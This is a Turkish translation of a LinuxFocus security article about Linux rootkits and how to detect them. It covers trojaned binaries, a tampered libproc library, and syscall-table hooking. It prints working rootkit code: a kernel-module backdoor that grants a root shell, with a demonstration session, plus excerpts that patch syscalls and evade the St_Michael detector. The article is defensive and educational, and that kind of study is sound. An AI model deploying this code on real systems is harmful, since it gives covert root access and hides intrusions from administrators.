[LinuxFocus-icon]
<--  | Ana Sayfa  | Eri�imd�zeni  | ��indekiler  | Arama

Duyumlar | Belgelikler | Ba�lant�lar | LF Nedir
Bu makalenin farkl� dillerde bulundu�u adresler: English  Deutsch  Francais  Italiano  Russian  Turkce  

Frederic Raynal
Fr�d�ric Raynal aka Pappy (homepage)

Yazar hakk�nda:

Fr�d�ric Raynal bilgisayar bilimleri Ph.D derecesini, bilgi gizleme konusundaki tezini tamamlad�ktan sonra ald�. Kendisi, bilgisayar g�venli�i konusuna adanm�� Frans�z MISC dergisinin �ef edit�r�d�r. Bu arada R&D konusunda kendine i� aramaktad�r.



T�rk�e'ye �eviri:
Erdal Mutlu <erdal(at)linuxfocus.org>

��erik:

 

Root-kit'ler ve b�t�nl�k

gate

�zet:

Bu yaz� ilk olarak Linux Magazine France dergisinin g�venlik ile ilgili �zel bir say�s�nda yay�nland�. Edit�r, yazarlar ve �evirmenler, bu say�da yer alan yaz�lar� LinuxFocus'da yay�nlanmas�n� kibarca kabul ettiler. Dolay�s�yla, LinuxFocus yaz�lar�n �ngilizceleri haz�r olur olmaz yay�nlayacakt�r. Konuyla ilgili herkese �ok te�ekk�r ederim. Bu �zet, bu t�rden olan her yaz�da yeralacakt�r.

Bu yaz�da, bir sald�rgan�n sisteme girdikten sonra yapabilece�i i�ler anlat�lacakt�r. Ayr�ca, bu durumda sistemin i�gal edilip edilmedi�ini sezimlemek i�in sistem y�neticisinin neler yapabilece�i de tart���lacakt�r.


_________________ _________________ _________________

 

��gal

Kulland��� y�ntemi d���nmeden, bir sald�rgan�n sisteme girmeyi ba�ard���n� varsayal�m. Diyelim ki, sistem y�neticisinin, root kullan�c�s�n�n vs sahip oldu�u t�m haklara da sahip olsun. Kullan�lan t�m ara�lar sistemin d�zg�n �al��t���n� g�sterseler de, sistem art�k g�venilir de�ildir. Sald�rgan, sistem �etele dosyalar�n� temizlemi�, ... , asl�nda sisteme rahat bir �ekilde kendini y�klemi�tir.

Sald�rgan�n ilk amac�, kendini sistem y�neticisinden olabildi�ince gizlemektir. Daha sonra, yapmak istedi�i �eye g�re gerekli ara�lar� sisteme y�kleyecektir. Tabii, e�er t�m bilgileri yok etmek isterse, bu kadar dikkatli olmas�na gerek kalmayacakt�r.

Sistem y�neticisinin sisteme s�rekli ba�l� olarak t�m ba�lant�lar� denetlemesi beklenemez. Ancak, istenmeyen bir sald�r�y� olabildi�ince �abuk sezimlemelidir. S�zgelimi, a� izleme (sniffer) programlar�yla a� �zerinde dola�an t�m paketleri elde edebilir. ��gal edilmi� bir sistem, sald�rgan�n botIRC, DDOS gibi �e�itli programlar� �al��t�rd��� bir �s haline gelecektir. telnet, rlogin, pop3 gibi bir�ok protokol veri ak���n� ve ge�i�s�zc�klerini cypher i�leminden ge�irmemektedir, yani kodlamamaktad�r. Dolay�s�yla, sahip oldu�u zaman ne kadar fazla ise, sald�rgan, i�gal edilmi� bilgisayar�n bulundu�u a� �zerinde o kadar fazla denetim sa�lam�� olacakt�r.

Sald�rgan�n varl��� belirlendikten sonra ortaya ba�ka bir sorun daha ��kmaktad�r: Sald�rgan�n sistemde neleri de�i�tirdi�ini bilmiyoruz. Belki de, i�gal etti�i sistemin temel komutlar� ve te�his ara�lar�n� de�i�tirmi�tir. Bundan sonra, denetimlerimizde �ok titiz davranmak zorunday�z, yoksa sistem bir daha i�gal edilebilir veya k�r�labilir.

Son soru, al�nacak �nlemler konusunda olacakt�r. �ki y�ntem izlenebilir: Sistem y�neticisi sistemi tekrar y�kleyebilir veya sadece bozulmu� dosyalar� de�i�tirebilir. E�er, sistemi yeniden y�klemek �ok zaman alacaksa, de�i�tirilmi� dosylar�n hangileri oldu�unu g�zlemlemek �ok dikkatli yap�lmas� gereken bir i�lemdir.

Hangi y�ntemi izlerseniz izleyin, bozulmu� sistemin bir yede�ini al�n�n, ki daha sonra sald�rgan�n bu i�i nas�l yapt���n� ��renebilesiniz. Ayr�ca, bilgisayar�n�z daha b�y�k bir sald�r�n�n bir par�as� olmu� olabilir ve bu da sizin a��n�zdan hukuki sonu�lar do�urabilir. Yedek almama bilgi saklama anlam�na gelebilece�i gibi, alma ise sizi temize ��karabilir.

 

G�r�nmezlik diye bir �ey var ... Ben g�rd�m !

Burada k�r�lm�� bir sistemde en fazla hakka sahip olurken, g�r�nmez kalman�n birka� farkl� y�ntemi tart���lacakt�r.

Konunun ayr�nt�lar�na girmeden �nce, kullan�lan terimleri tan�mlayal�m:

K�r�c� sistemi i�gal ettikten sonra, her iki t�r programa gereksinim duyacakt�r. Arka kap� sayesinde, sistem y�neticisi t�m ge�i�s�zc�klerini de�i�tirse bile sisteme girebilmesini sa�lamaktad�r. Trojanlar ise, onun g�r�nmez kalmas�n� sa�lamaktad�r.

�u a�amada bir program�n trojan m� yoksa arka kap� m� oldu�u bizi ilgilendirmiyor. Amac�m�z, onlar� olu�turman�n ve belirlemenin var olan yollar�n� (ikisi de benzerdir) g�stermektir.

Son olarak, bir�ok Linux da��t�c�s�n�n sundu�u kimliklendirme y�ntemini ekleyelim (S�zgelimi, rpm --checksig ile dosyalar�n kayna��n� ve b�t�nl���n� denetlemeniz olas�d�r.). Sisteminize herhangibir yaz�l�m y�klemeden �nce denetlemekte yarar vard�r. E�er, bozuk bir paketi al�p sisteminize y�klerseniz, sald�rgana yapacak pek bir �ey b�rakmam�� olursunuz:( Windows alt�nda Back Orifice ile olan da bu dur zaten.

 

�kili dosyalar�n yerine ba�kalar�n� koymak

Unixi'te eskiden, sisteme yap�lan bir sald�r�y� belirlemek pek zor de�ildi:

Bu zamanlardan sonra sald�rganlar yukar�da belirtilen komutlar�n yerine ge�ecek komutlar geli�tirdiler. Yunanl�lar�n Troya'y� ele ge�irmek i�in tahtadan bir at yapmalar� gibi, bu programlar da as�llar� gibi g�z�kmekte ve b�ylece sistem y�neticileri taraf�ndan g�venle kullan�lmaktad�r. Ancak, bu yeni programlar sald�rgan� saklacayacak �ekilde bilgi gizlemektedir. Ayn� dizindeki di�er programlar gibi ayn� zaman izi (timestamp) ve denetim toplamlar� (checksums) da de�i�medi�i i�in (tabii di�er troyan program sayesinde) 'saf' sistem y�neticisi tamamen kand�r�lm�� olur.

 

Linux Root-Kit

Linux Root-Kit (lrk) biraz eski de olsa kendi alan�nda bir klasiktir. Ba�lang��ta Lord Somer taraf�nda geli�tirilen kit, �imdilerde be�inci s�r�m�ne ula�m��t�r. Bunun d���nda bir�ok ba�ka root-kit de vard�r. Bu t�r ara�lar�n yapabileceklerini hakk�nda bir fikir verebilmek i�in biz lrk'n�n �zelliklerinden s�z edece�iz.

De�i�tirilmi� programlar sisteme �zell eri�im sa�lamaktad�r. Bu programlardan birini kullananlar�n de�i�ikliklerin fark�na varmamalar� i�in, benimsenmi� de�er olarak satori olan ge�i�s�zc��� ile korunmaktad�r. Ge�i�s�zc��� derleme s�ras�nda de�i�tirilebilir.

Yeni root-kit'ler do�rudan �ekirde�e sald�rd�klar�ndan, bu root-kit art�k eskimi� durumdad�r. Dahas�, etkilenen programlar�n s�r�mleri de art�k kullan�lmamaktad�r.

 

Bu tip root-kit'lerin belirlenmesi

G�venlik �nlemleriniz s�k� oldu�u s�rece, bu �ekil root-kit'leri tespit etmek kolayd�r. Hash fonksiyonlar� ile kriptografi bize uygun arac� sa�lamaktad�r:

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig

Neyin de�i�ti�ini bilmeden bile, y�kl� olan ifconfig ile lrk5 deki ile farkl� oldu�u hemen anla��lmaktad�r.

Bilgisayar�n y�klenmesi biter bitmez, duyarl� dosyalar�n (duyarl� dosyalar konusuna daha sonra gelece�iz) hash verileri ile birlikte bir veritaban�na yede�ini almak gerekir ki, daha sonra yap�lacak de�i�tirmeler olabildi�ince kolay sezimlenebilsin.

Veritaban� fiziksel olarak i�eri�i de�i�tirilemeyen (disket, bir defa yaz�labilen CD, ...) ortamlarda saklanmal�d�r. Diyelim ki k�r�c�, sistemde sistem y�neticisi haklar�na sahip oldu. E�er, veritaban� sadece okunabilir bir disk b�lmesine yerle�tirilmi� ise, bu disk b�lmesi yaz�labilir olarak yeniden ba�lanabilir, veritaban� g�ncellenebilir ve sonunda tekrar sadece okunabilir olarak ba�lanabilir. E�er, k�r�c� dikkatli ise, veritaban�n�n zaman izi de�erini de d�zeltecektir. B�ylece, bir sonraki b�t�nl�k denetimi herhangi bir farkl�l�k sezimleyemeyecektir. Bunun anlam�, s�per kullan�c� haklar�n�n veritaban�n� korumaya yetmeyece�idir.

Sisteminizi sonralar� g�ncelledi�inizde, yede�inizi de g�ncellemeniz gerekir. B�ylce, yedekler �zerinde yapaca��n�z denetimlerle, sistemdeki istenmeyen de�i�iklikleri belirleyebilirsiniz.

Ancak, sistem b�t�nl���n�n denetlenebilmesi iki ko�ul alt�nda olas�d�r:

  1. Sistemden hesaplanan hash de�erleri ile g�venli�inden %100 emin oldu�unuz hash de�erleri kar��la�t�r�lmal�d�r. Sadece okunabilir bir yede�e olan gereksinim de bu y�zdendir.
  2. B�t�nl�k denetiminde kullan�lan ara�lar da 'temiz' olmal�d�r.

Yani, her denetim ba�ka bir sistemden (i�gal edilmemi�) gelen ara�lar kullan�larak yap�lmal�d�r.

 

Dinamik k�t�phane kullan�m�

G�r�ld��� gibi, sistemde g�r�nmez olabilmek i�in bir�ok sistem arac�nda de�i�iklik yapmak gerekmektedir. Bir dosyan�n var olup olmad���n� belirlemek i�in bir�ok komut vard�r. Ayn� �ey a� ba�lant�lar� ve �al��an programlar i�in ge�erlidir. Sonuncusunu unutmak vahim sonu�lara yola�abilir.

G�n�m�zde program boyutunu k���k tutmak i�in bir�ok ikili dosya dinamik k�t�phane kullanmaktad�r. Yukar�da s�z�n� etti�imiz sorunu giderebilmek i�in basit bir yol vard�r, o da her ikili dosyay� de�i�tirmek yerine, gerekli fonksiyonu bir k�t�phaneye yerle�tirmektir.

Bir k�r�c�n�n sistemi yeniden ba�latt�ktan sonra sisteminin ayakta kalma s�resi veya �al��ma (uptime) s�resini de�i�tirmek istedi�ini varsayal�m. Bu bilgiye uptime, w, top gibi �e�itli sistem ara�lar� ile ula��labilir.

�kili dosyalar�n hangi k�t�phaneleri kulland���n� ��renebilmek i�in ldd komutu kullan�lmaktad�r:

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

libc nin yan�s�ra, libproc.so k�t�phanesini bulmak istiyoruz. Kaynak kodu bulup de�i�tirmek yeterlidir. Burada, $PROCPS dizininde bulunan 2.0.7 s�r�m�n� kullanaca��z.

uptime komutunun uptime.c dosyas� print_uptime() fonksiyonunu $PROCPS/proc/whattime.c dosyas�nda bulabilece�imizi belirtmektedir. uptime(double *uptime_secs, double *idle_secs) fonksiyonu ($PROCPS/proc/sysinfo.c) isteklerimiz do�rultusunda de�i�tirmemize olanak vermektedir:

/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;	/* assume never be zero seconds in practice */
22:  }

12 den 18. sat�ra kadar�n� program�n ilk s�r�m�ne eklemekle, fonksiyonun sonucunu de�i�tirece�ini g�rm�� olduk. E�er, TERM �evre de�i�keni satori de�erine sahip de�ilse, up de�i�keni ger�eck ayakta kalma s�resinin (uptime) logaritmik olarak art�r�lmaktad�r (Kullan�lan bu form�ller, �ok k�sa bir s�rede ayakta kalma s�resi y�llara eri�mektedir:)).

K�t�phanemizi derlemek i�in -D_LIBROOTKIT_ ile -lm se�eneklerini eklemeliyiz ( log(up); i�in). uptime fonksiyonumuzu kullanarak bir ikili dosyan�n gereksinim duydu�u k�t�phaneleri ldd komutuyla ara�t�rmak istedi�imizde, libm in listede oldu�unu g�r�r�z. Ne yaz�kki, bu sistemde y�kl� olan ikili dosyalar i�in de�ru de�ildir. K�t�phaneyi oldu�u gibi kullanmaya kalk��t���m�zda a�a��daki hataya yol a�maktad�r:

[procps-2.0.7]# ldd ./uptime //compiled with the new libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //cmd d'origine
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //original command
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

Herbir ikili dosyay� derlememek i�in matematik k�t�phanesini libproc.so yarat�rken statik olarak derlemek yeterli olacakt�r:

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a

log() fonksiyonu do�rudan libproc.so k�t�phanesinin i�inde dir. De�i�tirilmi� k�t�phane, as�l k�t�phane ile ayn� ba��ml�l�klar� i�ermeledir, yoksa bunu kullanan ikili dosyalar �al��mayacakt�r.

[pappy]# uptime
  2:12pm  up 7919 days,  1:28, 2 users, load average: 0.00, 0.03, 0.00

[pappy]# w
2:12pm  up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
2:14pm  up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:  191308K av, 181984K used,   9324K free, 0K shrd, 2680K buff
Swap: 249440K av,      0K used, 249440K free           79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

Her�ey yolunda g�z�k�yor. G�r�n��e g�re top TERM �evre de�i�kenini g�r�nt�lemek i�in kullanmaktad�r. O y�zden, ger�ek de�erleri alabilmek i�in ba�ka bir de�i�keni bir i�aret olarak kullanmal�y�z.

Dinamik k�t�phanelerinde yap�lm�� de�i�iklikleri belirlemek i�in daha �nce s�z�n� etti�imiz y�nteme benzerdir. Hash verisini denetlemek yeterlidir. Ancak, bir�ok sistem y�neticisi /bin, /sbin, /usr/bin, /usr/sbin, /etc gibi dizinlerin hash verilerinin hesaplanmas�n� ve denetlenmesini yaparken k�t�phanelerin oldu�u dizinleri atlamakta ki bunlar da di�erleri kadar �nemlidir.

Ancak, dinamik k�t�phaneleri de�i�tirmek, sadece birden fazla ikili dosyay� ayn� anda de�i�tirmek amac�yla yap�lmamaktad�r. B�t�nl��� denetleyen baz� programlar da bu t�r kitiphaneleri kullanmaktad�r. Bu olduk�a tehlikelidir! Duyarl� sistemlerde t�m �nemli programlar statik olarak derlenmelidir. B�ylece, k�t�phanelerin de�i�tirilmelerinden etkilenmemi� olurlar.

Dolay�s�yla �nceki kullan�lan md5sum program� biraz tehlikelidir:

[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Bu komut libc k�t�phanesinden dinamik olarak fonksiyonlar kullan�lmaktad�r ki bunlar de�i�tirilebilir (nm -D `which md5sum` ile denetleyin) S�zgelimi, fopen() kullan�rken sadece dosyan�n yoltan�m�na bakmak yeterlidir. E�er, k�r�lm�� program� g�steriyorsa, as�l programa y�nlendirmek olas�d�r: Bunu k�r�c� sistemde bir yerde sakl�yordur.

Bu basit �rnek, b�t�nl�k testleri �a��rtacak olas�l�klar� g�stermektedir. Bu t�r testlerin i�gal edilmemi�, yani d�� ara�lar ile yap�lmas� gerekti�ini g�rd�k (�kili dosyalar b�l�m�ne bak�n�z). �imdi ise, i�gal edilmi� sistemlerdeki fonksiyonlar� kulland�klar�nda hi� bir i�e yaramayacaklar�n� ke�if ettik.

��te �imdi, bir k�r�c�n�n varl���n� sezimleyecek bir acil durum kiti olu�turabilirizi:

Bu programlar en az gereksinim duyulanlard�r. Di�er komutlar da yararl� olabilir:

S�ylemek istedi�imiz bir �ey de, bu ara�lar sadece k�r�c�n�n varl���n� sezimlemede de�il, sistemde hata belirleme s�ras�nda da kullan�labilir.

A��kt�r kir, acil kitteki her program statik olarak derlenmelidir. Dinamik k�t�phane kullan�m�n�n ba�ar�s�z olabilece�ini biraz �nce g�rd�k.

 

E�lence ve kazan� i�in Linux �ekirdek mod�l� (Linux Kernel Module - LKM)

Bir dosyan�n varl���n� sezimlemede kullan�lan her ikili dosyay� de�i�tirmek, ya da k�t�phanelerde bulunan her fonksiyonu denetim alt�nda tutmak imkans�z olmal�d�r. �mkans�z m�? Bunu siz s�yl�yorsunuz. Durum pek de �yle de�il.

Yeni bir root-kit ku�a�� ortaya ��kt�. Bu do�rudan �ekirde�i hedef al�yor.

 

LKM'nin kapsam�

S�n�rs�z! Ad�ndan da anla��ld��� gibi, LKM �ekirdek alan�nda �al��makta ve b�ylece her�eyi denetleyebilmektedir.

K�r�c� i�in LKM'nin yapabildikleri a�a��da s�raland�r�lm��t�r:

Listenin uzunlu�u k�r�c�n�n hayal yetene�i ile s�n�rl�d�r. Ancak, yukar�daki y�ntemlerde oldu�u gibi, sistem y�neticisi ayn� ara�lar� kullanarak sistemi korumak i�in kendi ara�lar�n� geli�tirebilir:

LKM'ye kar�� nas�l korunuruz? �ekirde�i yap�land�rma s�ras�nda CONFIG_MODULES mod�l deste�i se�ilmeyebilir. Sonu� olarak bu d�kme (monolithic) �ekirdek olu�umu demektir.

Ancak, �ekirdekte mod�l deste�i olmad���nda bile, kolay olmamakla birlikte baz� mod�lleri belle�e y�klemek olas�d�r. Silvio Cesare �ekirde�in belle�ini y�netti�i /dev/kmem ayg�t�n� kullanarak, �ekirde�e sald�rmak amac�yla, kinsmod program�n� yazd� (Kendi sayfas�ndaki runtime-kernel-kmem-patching.txt dosyas�n� okuyunuz.).

Mod�l programlamay� �zetlemek i�in her�eyin init_module() ve cleanup_module() ad�ndaki iki fonksiyonda bitti�ini s�ylemeliyiz. Bunlar mod�l�n davran���n� belirlemektedir. Ancak, �ekirdek ortam�nda �al��t�klar� i�in, �ekirdek belle�inde yer alan sistem �a�r�lar� ve sembolleri gibi her�eye ula�abilirler.

 

��eriye bu yoldan buyrun!

LKM kullanarak bir arka kap� y�klenmesini g�sterelim. Root kabuk ortam� elde etmek isteyen kullan�c�n�n /etc/passwd komutunu �al��t�rmas� yeterlidir. Tabii bu bir komut de�il. Ancak, sys_execve() sistem �a�r�s�n� /bin/sh komutuna y�nlendirerek, root haklar�na sahip bir kabuk ortam� sa�lam�� olur.

Bu mod�l 2.2.14, 2.2.16, 2.2.19, 2.4.4 gibi �e�itli �ekirdekler ile test edilmi�tir. Hepsiyle d�zg�n �al��maktad�r. Ancak, 2.2.19smp-ow1 (Openwall yamas� ile �oklu i�lemcili) �ekirdekle kullan�ld���nda kabuk a��k ise, root haklar�n� vermemektedir. Bu �ekirdek bir �ekilde hassas ve k�r�lgand�r. O y�zden dikkatli olman�zda yarar vard�r... Dosylar�n yoltan�mlar� �ekirdekaynak kodunun ola�an a�a� yap�s�nda yer almaktad�r.

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
      current->uid, current->euid, current->suid, current->fsuid,
      current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Got it:)))\n");
    current->uid = current->euid = current->suid =
                      current->fsuid = 0;
    current->gid = current->egid = current->sgid =
                      current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx,
                   (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE	/* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Loaded:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
		  sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Unloaded:(\n");
}

�imdi her�eyin isted�imiz gibi �al��t���ndan emin olmak i�in bir deneme yapal�m:

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

Bu k�sa g�steriden sonra /var/log/kernel dosyas�n�n i�eri�ene bir g�z atal�m: syslogd �ekirdek taraf�ndan g�nderilen t�m mesajlar� yazmakla yap�land�r�lm��t�r (kern.* /var/log/kernel /etc/syslogd.conf da):

[rootshell] Loaded:)
[rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell]  Got it:)))
[rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] Unloaded:(

Bu mod�l� biraz de�i�tirerek sistem y�neticisi �ok g�zel bir izleme arac�na sahip olmu� olur. Sistemde �al��t�r�lan t�m komutlar�n �etelesini �ekirdek �etele dosyas�nda tutulmaktad�r. regs.ecx **argv yi ve regs.edx de **envp yi o andaki s�reci tan�mlayan veri yap�s�n� i�ermektedir. B�ylece, sistemde her an olup bitenin bilgisi elimizde bulunmaktad�r.

 

Sezimleme ve g�venlik

System y�netcisi a��s�ndan, b�t�nl�k testi art�k bu mod�l� bulmada yararl� olmaz (Asl�nda pek de de�il, ��nk� bu basit bir mod�l.). Daha sonra, b�yle bir root-kit'in arkada b�rakaca�� parmak izlerini ara�t�raca��z:

Burada konu�tu�umuz sorun veya ��z�mler, kullan�c� ortam�ndaki komutlara dayanmaktad�r. '�yi' bir LKM gizli kalmak i�in t�m teknikleri kullanacakt�r.

Bu root-kit'leri ortaya ��kartmak i�in iki y�ntem vard�r. �lki, /dev/kmem ayg�t�n� kullanarak bellekteki �ekirdek resmi ile /proc daki ile kar��la�t�rmaya dayanmaktad�r. kstat ad�ndaki arac� kullanarak /dev/kmem deki sistemde �al��an s�re�leri, sistem �a�r� adreslerini vs arama yap�lmas�n� sa�lamaktad�r. Toby Miller'in Y�klenebilir �ekirdek mod�lleri (LKM) yakalama yaz�s�, kstat ile root-kit'leri yakalamas�n� anlatmaktad�r.

Di�er bir y�ntem, herbir sistem �a�r�s� tablosu de�i�iklik denemeseni yakalamaktan ge�er. Tim Lawless'in St_Michael mod�l� b�yle bir izlemeyi m�mk�n k�lmaktad�r. A�a��daki bilgi yaz�n�n yaz�m� s�ras�nda mod�l hen�z geli�tirme a�amas�nda oldu�undan de�i�mi� olabilir.

�nceki �rne�imizde g�rd���m�z gibi, lkm root-kit'i sistem �a�r�lar� tablosu de�i�iklikli�ene dayanmaktad�r. �lk ��z�m onlar�n adreslerinin yede�ini ikinci bir tabloya almak ve sys_init_module() ile sys_delete_module() mod�lleri yeniden tan�mlamak. B�ylece herhangi bir mod�l� y�kledikten sonra, adresin tutup tutmad��� denetlenebir:

/* Extract from St_Michael module by Tim Lawless */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     Verify that the syscall table is the same.
     If its changed then respond

     We could probably make this a function in itself, but
     why spend the extra time making a call?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
	sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}

Bu ��z�m var olan root-kit'lere kar�� koruma sa�lamaktad�r ancak m�kemmel olmaktan da uzakt�r. G�venlik konusu �ok zor bir yar��t�r. ��te bu g�venlik engelini a�ma y�ntemi. Sistem �a�r�s� adresini de�i�tirmek yerine, sistem �a�r�s�n�n kendisini neden de�i�tirmiyoruz? Bu Silvio Cesare'�n stealth-syscall.txt belgesinde anlat�lm��t�r. Sald�r�, sistem �a�r�s�n�n ilk byte'lar�n� "jump &new_syscall" ile de�i�tirmektedir (Burada Assembler'e benzer bir kaynak kodu ile nas�l yap�ld���n� g�sterdik.):

/* Extract from stealth_syscall.c (Linux 2.0.35)
   by Silvio Cesare */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR],
          sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
          sizeof(syscall_code));
  return 0;
}

�kili dosya ve k�t�phaneleri b�t�nl�k testleriyle korumaya �al��t���m�z gibi burada da ayn� �eyi yapmam�z gerekir. Herbir sistem �a�r�s� i�in olan makina kodunun hash verilerini saklamam�z gerekir. Herbir mod�l y�klemesinden sonra b�t�nl�k testi yapabilmek i�in St_Michael in init_module() sistem �a�r�s�n� de�i�tirmek i�in u�ra��yoruz.

Ancak, bu durumda bile b�t�nl�k testlerini atlatmak olas�d�r. (�rnekler, Tim Lawless, Mixman ve benim e-iletilerden al�nm��t�r. Kaynak kod ise, Mixman'�n �al��mas�d�r.)

  1. Sistem �a�r�s� olmayan bir fonksiyonu de�i�tirmek: Sistem �a�r�s�ndaki ayn� y�ntem burada da ge�erlidir. Fonksiyonun hacked_printk() fonksiyonuna atlayabilmesi (jump) i�in init_module() deki ilk byte'lar� de�i�tiriyoruz (�rne�imizdeki printk()).
    /* Extract from printk_exploit.c by Mixman */
    
    static unsigned char hacked = 0;
    
    /* hacked_printk() replaces system call.
       Next, we execute "normal" printk() for
       everything to work properly.
    */
    asmlinkage int hacked_printk(const char* fmt,...)
    {
      va_list args;
      char buf[4096];
      int i;
    
      if(!fmt) return 0;
      if(!hacked) {
        sys_call_table[SYS_chdir] = hacked_chdir;
        hacked = 1;
      }
      memset(buf,0,sizeof(buf));
      va_start(args,fmt);
      i = vsprintf(buf,fmt,args);
      va_end(args);
      return i;
    }
          
